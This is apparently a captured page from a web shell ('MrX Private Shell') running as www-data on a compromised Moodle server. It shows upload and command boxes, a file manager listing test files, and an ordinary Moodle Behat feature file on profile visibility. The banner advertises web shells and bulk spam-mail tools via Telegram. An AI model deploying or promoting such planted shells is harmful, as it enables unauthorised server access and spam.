__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_user
Feature: Access to full profiles of users
  In order to allow visibility of full profiles
  As an admin
  I need to set global permission or disable forceloginforprofiles

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student | 1 | student1@example.com |
      | student2 | Student | 2 | student2@example.com |
      | student3 | Student | 3 | student3@example.com |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | format | groupmode |
      | Course 1 | C1        | topics | 0 |
      | Course 2 | C2        | topics | 1 |
    And the following "course enrolments" exist:
      | user | course | role |
      | student1 | C1 | student |
      | student2 | C1 | student |
      | teacher1 | C1 | editingteacher |
      | teacher1 | C2 | editingteacher |
      | student1 | C2 | student |
      | student3 | C2 | student |
    And the following config values are set as admin:
      | messaging | 1 |

  Scenario: Viewing full profiles with default settings
    When I log in as "student1"
    # Another student's full profile is visible
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I follow "Student 2"
    Then I should see "Full profile"
    # Teacher's full profile is visible
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I follow "Teacher 1"
    And I follow "Full profile"
    And I should see "First access to site"
    # Own full profile is visible
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I click on "Student 1" "link" in the "#participants" "css_element"
    And I follow "Full profile"
    And I should see "First access to site"

  Scenario: Viewing full profiles with forceloginforprofiles off
    Given the following config values are set as admin:
      |  forceloginforprofiles | 0 |
    When I log in as "student1"
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I follow "Student 2"
    And I follow "Full profile"
    Then I should see "First access to site"

  Scenario: Viewing full profiles with global permission
    Given the following "role capability" exists:
      | role                    | user  |
      | moodle/user:viewdetails | allow |
    When I log in as "student1"
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I follow "Student 2"
    And I follow "Full profile"
    Then I should see "First access to site"

  Scenario: Viewing full profiles of students as a teacher
    When I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I follow "Student 1"
    And I follow "Full profile"
    Then I should see "First access to site"

  Scenario: Viewing own full profile
    Given I log in as "student1"
    When I follow "Profile" in the user menu
    Then I should see "First access to site"

  Scenario: View only shared groups in a course with separate groups forced
    Given the following "groups" exist:
      | name       | course | idnumber |
      | Group 1    | C2     | G1       |
      | Group 2    | C2     | G2       |
    And the following "group members" exist:
      | user     | group |
      | student1 | G1    |
      | student3 | G2    |
      | teacher1 | G1    |
      | teacher1 | G2    |
    When I log in as "student3"
    And I am on "Course 2" course homepage
    And I navigate to course participants
    And I follow "Teacher 1"
    Then I should see "Group 2"
    And I should not see "Group 1"

  Scenario: View all groups in a course with visible groups
    Given the following "groups" exist:
      | name       | course | idnumber |
      | Group 1    | C1     | G1       |
      | Group 2    | C1     | G2       |
    And the following "group members" exist:
      | user     | group |
      | student1 | G1    |
      | student2 | G2    |
      | teacher1 | G1    |
      | teacher1 | G2    |
    When I log in as "student1"
    And I am on "Course 1" course homepage
    And I navigate to course participants
    And I follow "Teacher 1"
    Then I should see "Group 1"
    And I should see "Group 2"

  @javascript
  Scenario: Viewing full profiles of someone with the course contact role
    Given I log in as "admin"
    And I navigate to "Appearance > Courses" in site administration
    And I set the following fields to these values:
      | Course creator | 1 |
    And I press "Save changes"
    And I navigate to "Users > Permissions > Assign system roles" in site administration
    And I follow "Course creator"
    And I click on "//div[@class='userselector']/descendant::option[contains(., 'Student 3')]" "xpath_element"
    And I press "Add"
    And I log out
    # Message search will not return a course contact unless the searcher shares a course with them,
    # or site-wide messaging is enabled ($CFG->messagingallusers).
    When I log in as "student1"
    And I open messaging
    And I search for "Student 3" in messaging
    Then I should see "Student 3"
    And I log out
    When I log in as "student2"
    And I open messaging
    And I search for "Student 3" in messaging
    Then I should see "No results"

  @javascript
  Scenario: View full profiles of someone in the same group in a course with separate groups.
    Given I log in as "admin"
    And I am on "Course 1" course homepage
    And I navigate to "Settings" in current page administration
    And I set the following fields to these values:
      | Group mode | Separate groups |
      | Force group mode | Yes |
    And I press "Save and display"
    And I log out
    And the following "message contacts" exist:
      | user     | contact |
      | student1 | student2 |
    When I log in as "student1"
    And I view the "Student 2" contact in the message area
    And I should not see "First access to site"
    And I should see "The details of this user are not available to you"
    And I log out
    And I log in as "admin"
    And I am on the "Course 1" "groups" page
    And I press "Create group"
    And I set the following fields to these values:
      | Group name | Group 1 |
    And I press "Save changes"
    And I add "Student 1 (student1@example.com)" user to "Group 1" group members
    And I add "Student 2 (student2@example.com)" user to "Group 1" group members
    And I log out
    And I log in as "student1"
    And I view the "Student 2" contact in the message area
    Then I should see "First access to site"

  @javascript
  Scenario: Accessibility, users can not click on profile image when on user's profile page.
    Given I log in as "admin"
    And I am on "Course 1" course homepage
    When I navigate to course participants
    Then "//img[contains(@class, 'userpicture')]" "xpath_element" should exist
    And "//a/child::img[contains(@class, 'userpicture')]" "xpath_element" should exist
    When I follow "Teacher 1"
    Then I should see "Teacher 1"
    And "//img[contains(@class, 'userpicture')]" "xpath_element" should exist
    And "//a/child::img[contains(@class, 'userpicture')]" "xpath_element" should not exist
    When I follow "Full profile"
    And I should see "Teacher 1"
    Then "//img[contains(@class, 'userpicture')]" "xpath_element" should exist
    And "//a/child::img[contains(@class, 'userpicture')]" "xpath_element" should not exist

Filemanager

Name Type Size Permission Actions
add_blocks.feature File 858 B 0777
addnewuser.feature File 725 B 0777
behat_user.php File 6.31 KB 0777
bulk_editenrolment.feature File 3.94 KB 0777
bulk_message.feature File 1.49 KB 0777
contact_site_support.feature File 5.39 KB 0777
custom_profile_fields.feature File 13.99 KB 0777
custom_profile_fields_manual.feature File 1.83 KB 0777
delete_users.feature File 5.31 KB 0777
edit_profile_notification.feature File 2.03 KB 0777
edit_user_enrolment.feature File 6.8 KB 0777
edit_user_roles.feature File 1.62 KB 0777
edituserpassword.feature File 1.99 KB 0777
enrol_cohort_list.feature File 2.2 KB 0777
filter_idnumber.feature File 3.82 KB 0777
filter_participants.feature File 48.29 KB 0777
filter_participants_showall.feature File 6.73 KB 0777
full_name_display.feature File 4.61 KB 0777
hidden_user_fields.feature File 2.09 KB 0777
input-purpose.feature File 1.82 KB 0777
name_fields.feature File 2.91 KB 0777
participants_in_group_modes.feature File 9.9 KB 0777
reset_page.feature File 908 B 0777
set_default_homepage.feature File 3.16 KB 0777
set_email_display.feature File 4.08 KB 0777
siteadmin_user_breadcrumbs.feature File 1.59 KB 0777
table_column_visibility.feature File 2.44 KB 0777
table_sorting.feature File 2.98 KB 0777
user_grade_navigation.feature File 4.35 KB 0777
user_permission.feature File 1.17 KB 0777
user_private_files.feature File 996 B 0777
view_full_profile.feature File 7.36 KB 0777
view_participants.feature File 15.08 KB 0777
view_participants_groups.feature File 3.37 KB 0777
view_preferences_page.feature File 3.32 KB 0777
Filemanager